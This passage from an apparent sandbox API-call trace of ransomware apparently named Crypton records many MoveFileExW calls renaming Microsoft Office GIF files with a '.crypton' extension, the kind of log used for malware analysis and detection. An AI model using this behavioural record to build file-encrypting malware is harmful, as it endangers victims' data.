office\\media\\office14\\bullets\\j0115841.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115841.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115841.gif.crypton"), dwFlags=0x2) returned 1 [0088.308] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115842.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115842.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115842.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115842.gif.crypton"), dwFlags=0x2) returned 1 [0088.310] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115843.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115843.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115843.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115843.gif.crypton"), dwFlags=0x2) returned 1 [0088.312] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif.crypton"), dwFlags=0x2) returned 1 [0088.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif.crypton"), dwFlags=0x2) returned 1 [0088.316] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif.crypton"), dwFlags=0x2) returned 1 [0088.318] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif.crypton"), dwFlags=0x2) returned 1 [0088.321] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif.crypton"), dwFlags=0x2) returned 1 [0088.323] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif.crypton"), dwFlags=0x2) returned 1 [0088.325] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif.crypton"), dwFlags=0x2) returned 1 [0088.330] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb201d4c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb201d4c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549810 [0088.334] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif.crypton"), dwFlags=0x2) returned 1 [0088.337] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif.crypton"), dwFlags=0x2) returned 1 [0088.340] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif.crypton"), dwFlags=0x2) returned 1 [0088.342] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif.crypton"), dwFlags=0x2) returned 1 [0088.345] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif.crypton"), dwFlags=0x2) returned 1 [0088.347] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif.crypton"), dwFlags=0x2) returned 1 [0088.351] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif.crypton"), dwFlags=0x2) returned 1 [0088.354] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif.crypton"), dwFlags=0x2) returned 1 [0088.357] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif.crypton"), dwFlags=0x2) returned 1 [0088.360] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif.crypton"), dwFlags=0x2) returned 1 [0088.362] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif.crypton"), dwFlags=0x2) returned 1 [0088.365] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif.crypton"), dwFlags=0x2) returned 1 [0088.367] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif.crypton"), dwFlags=0x2) returned 1 [0088.369] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif.crypton"), dwFlags=0x2) returned 1 [0088.373] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif.crypton"), dwFlags=0x2) returned 1 [0088.375] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif.crypton"), dwFlags=0x2) returned 1 [0088.377] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif.crypton"), dwFlags=0x2) returned 1 [0088.379] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif.crypton"), dwFlags=0x2) returned 1 [0088.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif.crypton"), dwFlags=0x2) returned 1 [0088.384] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif.crypton"), dwFlags=0x2) returned 1 [0088.386] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif.crypton"), dwFlags=0x2) returned 1 [0088.392] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif.crypton"), dwFlags=0x2) returned 1 [0088.393] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif.crypton"), dwFlags=0x2) returned 1 [0088.396] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif.crypton"), dwFlags=0x2) returned 1 [0088.400] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif.crypton"), dwFlags=0x2) returned 1 [0088.403] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif.crypton"), dwFlags=0x2) returned 1 [0088.405] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif.crypton"), dwFlags=0x2) returned 1 [0088.407] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif.crypton"), dwFlags=0x2) returned 1 [0088.409] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif.crypton"), dwFlags=0x2) returned 1 [0088.411] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif.crypton"), dwFlags=0x2) returned 1 [0088.413] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif.crypton"), dwFlags=0x2) returned 1 [0088.416] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif.crypton"), dwFlags=0x2) returned 1 [0088.419] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif.crypton"), dwFlags=0x2) returned 1 [0088.422] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif.crypton"), dwFlags=0x2) returned 1 [0088.424] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif.crypton"), dwFlags=0x2) returned 1 [0088.428] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif.crypton"), dwFlags=0x2) returned 1 [0088.431] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif.crypton"), dwFlags=0x2) returned 1 [0088.434] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif.crypton"), dwFlags=0x2) returned 1 [0088.438] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif.crypton"), dwFlags=0x2) returned 1 [0088.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif.crypton"), dwFlags=0x2) returned 1 [0088.448] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif.crypton"), dwFlags=0x2) returned 1 [0088.450] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif.crypton"), dwFlags=0x2) returned 1 [0088.452] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif.crypton"), dwFlags=0x2) returned 1 [0088.466] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif.crypton"), dwFlags=0x2) returned 1 [0088.470] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif.crypton"), dwFlags=0x2) returned 1 [0088.473] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif.crypton"), dwFlags=0x2) returned 1 [0088.476] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif.crypton"), dwFlags=0x2) returned 1 [0088.480] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif.crypton"), dwFlags=0x2) returned 1 [0088.482] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif.crypton"), dwFlags=0x2) returned 1 [0088.486] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif.crypton"), dwFlags=0x2) returned 1 [0088.489] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif.crypton"), dwFlags=0x2) returned 1 [0088.491] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF" (normalized: 